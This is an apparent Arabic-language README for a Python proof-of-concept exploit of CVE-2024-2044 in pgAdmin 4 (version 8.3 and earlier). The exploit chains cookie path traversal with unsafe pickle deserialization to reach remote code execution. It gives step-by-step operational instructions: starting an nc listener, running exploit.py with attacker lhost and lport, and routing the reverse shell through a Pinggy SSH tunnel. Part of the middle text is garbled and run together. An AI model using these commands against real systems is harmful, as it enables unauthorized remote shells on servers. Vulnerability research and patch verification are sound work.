
Python PoC يستغل CVE-2024-2044 في pgAdmin 4 (<=8.3) عبر اجتياز المسار الموثق وإلغاء تسلسل pickle غير الآمن لتحقيق تنفيذ التعليمات البرمجية عن بُعد والحصول على reverse shell.
يحتوي هذا المستودع على نص Proof of Concept (PoC) للثغرة CVE-2024-2044، وهي ثغرة حرجة تجمع بين Authenticated Path Traversal وUnsafe Deserialization في pgAdmin 4 (الإصدار 8.3 وما دونه) الذي يعمل في بيئة Linux/POSIX.
[!WARNING] إخلاء المسؤولية: تم إنشاء هذا الكود لأغراض تعليمية وبحثية أمنية واختبار اختراق رسمي (authorized pentesting) فقط. إساءة استخدام هذا الكود لمهاجمة أهداف دون إذن كتابي تُعدّ فعلًا غير قانوني ومخالفًا للقانون.
في pgAdmin 4 بوضع الخادم في بيئة Linux، تُخزَّن إدارة الجلسات في شكل ملفات محلية. تحدث الثغرة لأن الدالة FileBackedSessionManager.get() تستقبل قيمة من ملف تعريف HTTP pga4_session وتدمجها في مسار الدليل باستخدام os.path.join دون تعقيم أحرف التلاعب بالمسار (../).
يستغل نص PoC هذا الثغرة عبر التسلسل التالي:
pickle/storage/nama_user//login مع التلاعب بملف تعريف pga4_session ليصبح مسارًا نسبيًا نحو ملف pickle المرفوع (مثل: ../storage/nama_user/file.pickle!). تُستخدم العلامة ! للتكيّف مع البحث عن امتداد ملف الجلسة في pgAdmin 4.pickle.loads(). ونتيجة لذلك، تنفّذ الحمولة عملية Python منفصلة (detached) ترمي Reverse Shell نحو المهاجم.requests.nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
إذا كان جهازك خلف NAT/Router ويحتاج إلى tunnelling عام، يمكنك استخدام خدمة Pinggy.io بالخطوات التالية:
شغّل nc على الجهاز المحلي أولًا باستخدام المنفذ الذي تختاره (مثل: المنفذ 1337):
nc -lvnp 1337
افتح نافذة طرفية جديدة، ثم شغّل أمر SSH الخاص بـ Pinggy. تأكد من أن المنفذ المحلي في النهاية (1337) مطابق لمنفذ nc الذي شغّلته سابقًا:
ssh -p 443 -R0:localhost:1337 [email protected]
بعد الاتصال، سيمنحك Pinggy عنوان URL عام TCP، على سبيل المثال:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

ملاحظة: المنفذ العام الذي تم الحصول عليه من Pinggy هو 43143 (وهذا ما سيصبح لاحقًا -lport).
يحتاج خادم pgAdmin 4 الهدف إلى تنسيق عنوان IP الأصلي لاتصال socket الخاص بـ reverse shell. نفّذ nslookup على النطاق من عنوان URL الخاص بـ Pinggy:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
سيعرض المخرجات عنوان IP العام لخادم Pinggy (اختر IPv4 في قسم Address في الأعلى):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
من المخرجات أعلاه، تم الحصول على IP الأصلي لـ Pinggy: 172.236.148.125.

شغّل نص PoC مع إدخال IP الناتج من nslookup كـ -lhost والمنفذ العام لـ Pinggy كـ -lport:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : عنوان URL الهدف pgAdmin 4 (إلزامي).-u, --username: البريد الإلكتروني/اسم المستخدم لتسجيل الدخول (الافتراضي: [email protected]).-p, --password: كلمة مرور تسجيل الدخول (الافتراضي: player123).-lhost : عنوان IP للمهاجم / IP الناتج من nslookup الخاص بـ Pinggy (إلزامي).-lport : منفذ listener الخاص بالمهاجم / المنفذ العام لـ Pinggy (إلزامي).تم إصلاح هذه الثغرة في pgAdmin 4 الإصدار 8.4. إذا كنت تدير خادمًا معرّضًا للثغرة، فاتخذ الإجراءات التالية فورًا: